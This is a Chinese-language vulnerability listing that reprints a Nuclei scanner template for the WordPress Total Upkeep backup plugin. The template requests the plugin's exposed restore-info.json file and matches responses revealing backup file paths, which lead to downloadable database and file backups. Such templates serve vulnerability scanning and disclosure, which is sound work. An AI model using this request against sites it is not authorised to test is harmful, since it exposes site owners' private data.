wordpress-total-upkeep-backup-download: WordPress Total Upkeep Database and Files Backup Download

日期: 2025-08-01 | 影响软件: wordpress-total-upkeep-backup-download | POC: 已公开

漏洞描述

Exposed sensitive file in WordPress Total Upkeep wordpress plugin feature used.

PoC代码[已公开]

id: wordpress-total-upkeep-backup-download

info:
  name: WordPress Total Upkeep Database and Files Backup Download
  author: princechaddha
  severity: high
  description: Exposed sensitive file in WordPress Total Upkeep wordpress plugin feature used.
  reference:
    - https://www.exploit-db.com/exploits/49252
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/boldgrid-backup/cron/restore-info.json"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - '"filepath"'
          - '/wp-content/boldgrid_backup_'
        condition: and
        part: body

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f15ea999e89b16ba17edde86ecf9a4bb9c1f1245d783364603dce5f014451a37022100d2cfd9c370dedeee943c0644f40cbf1b873b41fb8825cac2106d3b5de8b2980e:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wordpress-total-upkeep-backup-download.yaml

相关漏洞推荐